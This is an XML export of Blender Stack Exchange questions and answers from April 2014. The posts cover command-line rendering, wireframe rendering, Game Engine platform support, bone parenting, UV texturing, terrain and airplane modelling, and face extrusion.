  <row Id="8620" PostTypeId="1" CreationDate="2014-04-16T00:58:43.423" Score="1" ViewCount="504" Body="&lt;p&gt;I'm trying to run Blender from the command line but I'm getting the following results. Obviously, it didn't render. It worked for me with Blender 2.68, but quit as soon as I put 2.69 on the computer. I navigated to the folder where blender.exe is found, and still couldn't get it to work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./blender -b ../CSANM454/blender_tests/caustics_test.blend --engine CYCLES -F PNG -x 1 -o //theFrame&#xA;Read new prefs: /users/ugrad/[my username]/.config/blender/2.70/config/userpref.blend&#xA;found bundled python: /users/ugrad/[my username]/blender-2.70-linux-glibc211-x86_64/2.70/python&#xA;read blend: /users/ugrad/[my username]/blender-2.70-linux-glibc211-x86_64/../CSANM454/blender_tests/caustics_test.blend&#xA;&#xA;Blender quit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to run this command through PuTTY. Any idea why it will no longer work?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-04-16T00:58:43.423" Title="Command line error" Tags="&lt;rendering&gt;&lt;command-line&gt;" AnswerCount="0" CommentCount="2" ClosedDate="2014-04-16T02:23:00.517" ContentLicense="CC BY-SA 3.0" />
  <row Id="8621" PostTypeId="2" ParentId="8618" CreationDate="2014-04-16T02:18:07.857" Score="7" Body="&lt;h2&gt;Blender Internal&lt;/h2&gt;&#xA;&lt;p&gt;BI can render wireframes on edge only meshes, whether shaded or shadeless:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTlGw.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;BI can also render halos, which work on vertex only meshes (there are a few in the middle of the above scene), but they are affected by distance.&lt;/p&gt;&#xA;&lt;h2&gt;OpenGL&lt;/h2&gt;&#xA;&lt;p&gt;However, you could try using the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Vitals/Quick_render#Rendering_an_image_using_OpenGL_Render&quot; rel=&quot;noreferrer&quot;&gt;openGL preview render&lt;/a&gt; (using the same system that renders the viewport)&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, options for coloring objects individually is rather limited using meshes without faces. You can tweak some things (e.g. vertex size) by editing the themes, but this is obviously not what it was designed for.&lt;/p&gt;&#xA;&lt;p&gt;You can render animations and stills with openGL render by clicking the buttons in the header of the 3D view, or in the render menu in the Info panel (at the top of the window):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7Fx32.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7ShK9.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Original answer:&lt;/h1&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;noreferrer&quot;&gt;Freestyle&lt;/a&gt; can render a scene as svg, using either &lt;a href=&quot;http://www.geocities.jp/blenderyard/freestyle/svgwriter_b26/README.html&quot; rel=&quot;noreferrer&quot;&gt;SVGwriter&lt;/a&gt; or &lt;a href=&quot;http://www.blendernation.com/2014/03/27/svg-animation-output-for-blender-freestyle/&quot; rel=&quot;noreferrer&quot;&gt;this set of python scripts&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that freestyle requires faces to work.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-04-17T02:17:42.613" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="8622" PostTypeId="2" ParentId="8618" CreationDate="2014-04-16T04:42:03.170" Score="2" Body="&lt;h2&gt;Adding a Minimal Bevel to a Curve&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are only wanting outlines, such as this: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ozCBs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then you can achieve this very easily with either Blender Render or Cycles Render Engines by using a very minimal bevel on a wireframe curve object. Here is how you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Either create an object or import one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If any parts of your model are curves, then convert them to mesh:&lt;br&gt;&#xA;Select the curve objects -&gt; &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Convert to Mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now delete all the faces from your mesh:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your mesh&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go into Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select All (&lt;kbd&gt;A&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete faces only (&lt;kbd&gt;X&lt;/kbd&gt; -&gt; Faces Only)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Exit Edit mode (&lt;kbd&gt;TAB&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/41MKJ.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now select the remaining wireframe and convert it from a mesh object to a curve object:&lt;br&gt;&#xA;(&lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; -&gt; Convert to Curve)  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a Circle Curve (&lt;kbd&gt;SHIFT&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; -&gt; Curve -&gt; Circle)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your wireframe and: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a bevel to it:&lt;br&gt;&#xA;Object Properties panel -&gt; Curve tab -&gt; Geometry section -&gt; Set Bevel Object to the circle curve created in step 5&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Scale down the circle curve until your wireframe is as thin as you want it to be:&lt;br&gt;&#xA;Select circle -&gt; &lt;kbd&gt;S&lt;/kbd&gt; + Drag mouse&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3a39E.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a material to you model. If you like a flat look without any shadows, use an Emission Shader -- then you won't even have to worry about adding &amp;amp; adjusting lamps. To do this, select the model and then in the Object Properties window:&lt;br&gt;&#xA;Material tab -&gt; Add new material -&gt; Surface section -&gt; Surface -&gt; Emission  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SSRiv.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When rendered, it will look like a wireframe:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/catC7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you render and feel the wireframe lines look too thick, scale the circle curve down some more. However, if the circle is already so small you don't see it in the 3D Viewport, select it in the Outliner:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EWdDc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="2173" LastEditDate="2014-04-16T05:16:47.040" LastActivityDate="2014-04-16T05:16:47.040" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8623" PostTypeId="1" CreationDate="2014-04-16T04:43:45.850" Score="4" ViewCount="1955" Body="&lt;p&gt;Can a &quot;Blender Game Engine&quot; powered game be built for Linux?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastActivityDate="2014-04-16T16:21:52.227" Title="Can a &quot;Blender Game Engine&quot; powered game run on Linux?" Tags="&lt;game-engine&gt;&lt;linux&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8624" PostTypeId="2" ParentId="8623" CreationDate="2014-04-16T04:43:45.850" Score="6" Body="&lt;p&gt;Yes. Blender Game Engine powered games can run on all major platforms, and support for Android deployment, although limited and regarded as experimental by the community at large, is gaining ground. Deployment to Linux based systems is fully supported, and is a primary focus of the Blender Game Engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep in mind that a game created with the Blender Game Engine must be built for the system in question by someone with rightful access to the source files. This means that a developer must build their game for Linux in order for the game to run in a Linux environment. The same holds true for the other available platforms. A game built for Windows will only run in a Windows environment. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One exception is Android, where (correct me if I am wrong) support only exists through a native application which requires the source file in &lt;code&gt;.blend&lt;/code&gt; format. Again, this functionality is regarded as experimental and as such should not be considered a viable deployment solution at this time. The Blender Foundation provides limited insight on this subject, however relevant information can be found in the Official Documentation &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Android/Building_Blender_for_Android&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine/Android/Game_dev_guide_for_Android&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Game_Engine&quot; rel=&quot;nofollow&quot;&gt;Official Documentation&lt;/a&gt; for the Blender Game Engine:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The Game Engine can simulate content within Blender,   however it also&#xA;  includes the ability to export a binary   run-time to Windows, Linux&#xA;  and MacOS. There is also basic   support for mobile platforms with the&#xA;  Android Blender   Player GSOC 2012 project.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-04-16T16:21:52.227" LastActivityDate="2014-04-16T16:21:52.227" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8625" PostTypeId="1" AcceptedAnswerId="8631" CreationDate="2014-04-16T05:08:10.037" Score="1" ViewCount="2375" Body="&lt;p&gt;I was running through a tutorial I found and for this tutorial, the bone that is supposed to rotate the entire foot is wrong. The instructor cleared the parent for the bone that protrudes through the heel and reconnects them using the keep offset option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gduw7.png&quot; alt=&quot;The highlighted bone in this image is the one rotating the other bone&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5fOMc.png&quot; alt=&quot;However the bone highlighted in this picture does not&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to reverse this?&#xA;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="3024" LastActivityDate="2017-04-13T03:42:11.987" Title="Modeling Offset Issues" Tags="&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8627" PostTypeId="1" AcceptedAnswerId="8629" CreationDate="2014-04-16T09:57:02.300" Score="5" ViewCount="5063" Body="&lt;p&gt;I've been working on an add-on that manipulates text data called randomiser&lt;br&gt;&#xA;&lt;a href=&quot;https://github.com/BenSimonds/Randomiser&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/BenSimonds/Randomiser&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is a bug I'm trying to resolve with getting the correct &quot;current frame&quot; for an object based on what's scene it's in. If the blend file only has one scene, or if the object only appears in the active scene this is trivial (&lt;code&gt;context.scene.frame_current&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However if the object appears in another scene it gets more complex. &lt;code&gt;ob.users_scene&lt;/code&gt; will return a list of scenes that the object appears in and I could maybe get the current frame from them, but if the object appears in multiple scenes then how can i decide which to pick &lt;code&gt;frame_current&lt;/code&gt; from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is this precisely why the script should only let you use a value keyed by the user and not directly use the current frame?&lt;/p&gt;&#xA;" OwnerUserId="1440" LastEditorUserId="1363" LastEditDate="2014-04-16T10:04:23.287" LastActivityDate="2015-03-03T15:17:55.663" Title="Get current frame of objects scene?" Tags="&lt;python&gt;&lt;animation&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8628" PostTypeId="1" AcceptedAnswerId="8632" CreationDate="2014-04-16T10:03:31.230" Score="2" ViewCount="1466" Body="&lt;p&gt;I followed &lt;a href=&quot;https://www.youtube.com/watch?v=AYC69tt-KMI&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt; to create a soccer ball. &#xA;Now I want to texture it in a way that every pentagon has an image inside itself and the exagons are white, but I also want everything to be a little glossy.&#xA;I managed to successfully UV Map the ball and paint the texture in photoshop but now I am having big problems in applying the texture material to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOz4r.jpg&quot; alt=&quot;UV MAP&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a new material in Blender Render mode with Diffuse and the texture applied to it. I also set the Texture mapping to UV. I've gone in edit mode, selected all the mesh and applied the material. Unfortunately in Texture View Mode I see just a white ball and while rendering I see everything's black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d6coz.jpg&quot; alt=&quot;Ball seen in Edit Mode, Texture View, Blender Renders engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U0o1M.jpg&quot; alt=&quot;Ball seen in Object Mode, Render View, Blender Renders engine&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I try to do this in Cycles Render and use a Mix Shader with the FAC set to the texture image I get what I want in the Texture View Mode but while rendering I just see everything black and white of my colored images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uQ81J.jpg&quot; alt=&quot;Cycle Render Material Node&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/m5pGJ.jpg&quot; alt=&quot;Cycle Render Texture View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PDm0n.jpg&quot; alt=&quot;Cycle Renders Render View&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I've been clear enough and that someone will help me in this easy/difficult task!&#xA;Thank you in advance&lt;/p&gt;&#xA;" OwnerUserId="3161" LastEditorUserId="2217" LastEditDate="2014-04-26T18:43:40.520" LastActivityDate="2014-04-26T18:43:40.520" Title="Assigning Material with texture" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8629" PostTypeId="2" ParentId="8627" CreationDate="2014-04-16T10:15:29.670" Score="5" Body="&lt;p&gt;There is no current frame property for objects, there's only a &lt;code&gt;frame_current&lt;/code&gt; for every Scene. What &quot;current frame&quot; means to an object is not defined.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you might want to do is to get the current frame of the &lt;strong&gt;active&lt;/strong&gt; scene, there's only a single active scene per Blender window and it's what the user sees (are you using a frame change handler that changes &lt;code&gt;Text.body&lt;/code&gt; based on &lt;code&gt;frame_current&lt;/code&gt;?)&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-04-16T10:15:29.670" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8630" PostTypeId="2" ParentId="8598" CreationDate="2014-04-16T11:51:52.480" Score="1" Body="&lt;p&gt;Just to throw a spanner in the works. (I'm not 100% certain of the best answer)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yes each screen defines a layout within the window and links to the scene that it uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But above that is a window, blender can open multiple windows (that is top level system provided windows). Each window has a screen which must be unique between windows. You can't have two blender windows using the same screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I'm thinking the way to activate a scene would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.context.window.screen.scene = bpy.data.scenes['Scene']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So when a script is run, &lt;code&gt;bpy.context.window&lt;/code&gt; would be the active window as defined by the system - the one that receives clicks and keystrokes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thing is it would seem we can't actually alter the screen in a non-active window so this may be irrelevant.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-16T11:51:52.480" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8631" PostTypeId="2" ParentId="8625" CreationDate="2014-04-16T12:23:20.087" Score="0" Body="&lt;p&gt;The difference between a parented bone with and without offset is that when using keep offset the two bones don't join together, they just follow the same rules as object parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the bone properties this is represented by the connected property.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wYG4H.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling or disabling the Connected property is the difference between choosing connected or keep offset when setting a parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply enabling connected will rejoin the two bones as if you had chosen connected to start with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately when enabling connected, the base of the child bone snaps to the parent bone and there is no record of the location used before enabling connected. So if you enable connected, unless you undo at the time you will need to manually place the end of the bone back at the position you want it. &lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-04-16T12:23:20.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8632" PostTypeId="2" ParentId="8628" CreationDate="2014-04-16T15:13:36.217" Score="2" Body="&lt;h1&gt;For cycles&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Put your image texture in to a &lt;code&gt;Diffuse&lt;/code&gt; node. Then use the factor in the &lt;code&gt;mix&lt;/code&gt; node to determine how much gloss there is. The color on the &lt;code&gt;glossy&lt;/code&gt; node should be nearly white, you don't need to plug the image texture in to it also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OUWh4.png&quot; alt=&quot;nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2014-04-16T15:21:36.490" LastActivityDate="2014-04-16T15:21:36.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8633" PostTypeId="1" CreationDate="2014-04-16T15:39:50.463" Score="5" ViewCount="6067" Body="&lt;p&gt;I need some help figuring out how to model some rocky ground. Basically, I want to model the Ludendorff Bridge and I'm in the process of trying to create the ballast-like area of the train tracks, for example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ZauDAxB.jpg&quot; alt=&quot;&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see a train track situated on the rocky ground I'm trying to create. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would I go about doing this? I've tried creating individual rocks and then dropping a bunch of them with the Drop To Ground add-on, but it doesn't really give the effect I'm going for.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="599" LastEditDate="2014-04-16T22:18:28.703" LastActivityDate="2014-05-26T21:33:44.960" Title="How to make a rough gravel terrain?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8634" PostTypeId="1" AcceptedAnswerId="8638" CreationDate="2014-04-16T16:02:21.590" Score="2" ViewCount="523" Body="&lt;p&gt;I'm trying to model this plane, which is the ME 262(1941) : &lt;img src=&quot;https://upload.wikimedia.org/wikipedia/commons/1/10/Me-262_-_Front_Flugschau_2007_Manching.jpg&quot; alt=&quot;ME 262&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the plane's nose is in a conic shape; however, the rest of the body is triangluar-ish. As a result, I'm having some problems modelling the plane since the transition from the conic shape nose to the triangular body is weird. I need the two to transition properly and smoothly. Could somebody help me with this? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.430" LastActivityDate="2016-08-27T13:21:45.267" Title="Modelling an airplane with a irregular shape" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8635" PostTypeId="2" ParentId="6196" CreationDate="2014-04-16T16:08:23.093" Score="7" Body="&lt;p&gt;The issue might be caused by inconsistent decoding of your particular video codec by Blender, resulting in variation in the frame sequence you move through on the timeline. My suggestion would be that you convert the video to a discrete image format, like a PNG or JPEG sequence. A typical way to convert video to an image sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ffmpeg -i &quot;MyVideo.mov&quot; -an -f image2 &quot;MyVideo%06d.png&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="621" LastActivityDate="2014-04-16T16:08:23.093" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8636" PostTypeId="2" ParentId="8600" CreationDate="2014-04-16T16:16:35.500" Score="2" Body="&lt;p&gt;I changed &lt;a href=&quot;https://blender.stackexchange.com/a/8602/2217&quot;&gt;gandalf3's answer&lt;/a&gt; slightly to over come a few problems. First, it does not work on arrays with &lt;code&gt;dupli verts&lt;/code&gt;,and it also does not work on any type of curve object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just changed the texture input type to &lt;code&gt;Camera&lt;/code&gt;. That allows a nice whole scene cutting effect (on any and every object). The &lt;code&gt;mapping&lt;/code&gt; node is just to translate and rotate the slice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if the color on the &lt;code&gt;Transparent&lt;/code&gt; node is above pure white, then there is a nice semi-transparent cut.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3ctUX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3ctUX.png&quot; alt=&quot;awesome nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-04-16T16:16:35.500" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8637" PostTypeId="1" CreationDate="2014-04-16T17:44:15.127" Score="2" ViewCount="720" Body="&lt;p&gt;Comrades, I figured out how to open a .blend file using an separate/external Python script, I would now like to know how to send instructions to the Python Interactive Console? The code below is run from a simple Idle Python3.3 module. The commented line does not work - any suggestions on how to fix this? I want to call the Embedded Player to run automatically from another script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import os&#xA;&#xA;def openFile():&#xA;    try:&#xA;        os.startfile('bob2.blend')&#xA;        os.system('Python:bpy.ops.view3d.game_start()')#start embedded player??&#xA;    except Exception as e:&#xA;        print (e)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am aware that making the .blend file a .exe will solve this problem but the will make development very slow as I will have to compile the BGE every time I change code...&#xA;Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="2238" LastActivityDate="2014-12-20T23:44:05.870" Title="External commands sent to Python Interactive Console?" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;command-line&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8638" PostTypeId="2" ParentId="8634" CreationDate="2014-04-16T17:51:06.280" Score="4" Body="&lt;p&gt;Start by adding a edge around the &quot;triangluar-ish&quot; part. Add a circle &lt;strong&gt;with the same number of vertices as the outer edge&lt;/strong&gt;.&#xA;Then open up the specials menu with &lt;kbd&gt;W&lt;/kbd&gt;, and find the &lt;em&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/edges.html#bridge-edge-loops&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bridge Edge Loops&lt;/a&gt;&lt;/em&gt; command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this picture I have a mirror modifier so I only have to model half of the plane.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/dn5NP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dn5NP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-08-27T13:21:45.267" LastActivityDate="2016-08-27T13:21:45.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8639" PostTypeId="1" AcceptedAnswerId="8646" CreationDate="2014-04-16T18:37:23.077" Score="8" ViewCount="17533" Body="&lt;p&gt;I want to create a stairs-like extrusion with a face - But kind of inverted, like intruded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result should be something like this.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/yozQP.png&quot; alt=&quot;Extrude&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However I don't want to extrude the left face to the top, but instead to intrude the right face to the bottom. But when I do this, the following happens:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MEOoB.png&quot; alt=&quot;Intrude&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose this is exactly the right thing and handled perfectly well by Blender, it's just not what I want. The outer faces still exist, while the top face is just moved to the inside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope you understand what I mean, if not, please leave a comment.&lt;/p&gt;&#xA;" OwnerUserId="3166" LastActivityDate="2017-03-13T20:50:06.620" Title="&quot;Intrude&quot; faces instead of extruding" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8640" PostTypeId="2" ParentId="8639" CreationDate="2014-04-16T19:21:55.757" Score="4" Body="&lt;p&gt;You could use loop subdivide.&#xA;Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt; to create a new loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That way you can avoid duplicating faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tlXH8.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/3NYLA.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;From the newly created faces extrude the new steps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Siu5p.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA; read the manual for this tool here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/meshes/editing/subdividing/loop_subdivide.html?highlight=subdivide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/modeling/meshes/editing/subdividing/loop_subdivide.html?highlight=subdivide&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2016-05-02T03:28:37.270" LastActivityDate="2016-05-02T03:28:37.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
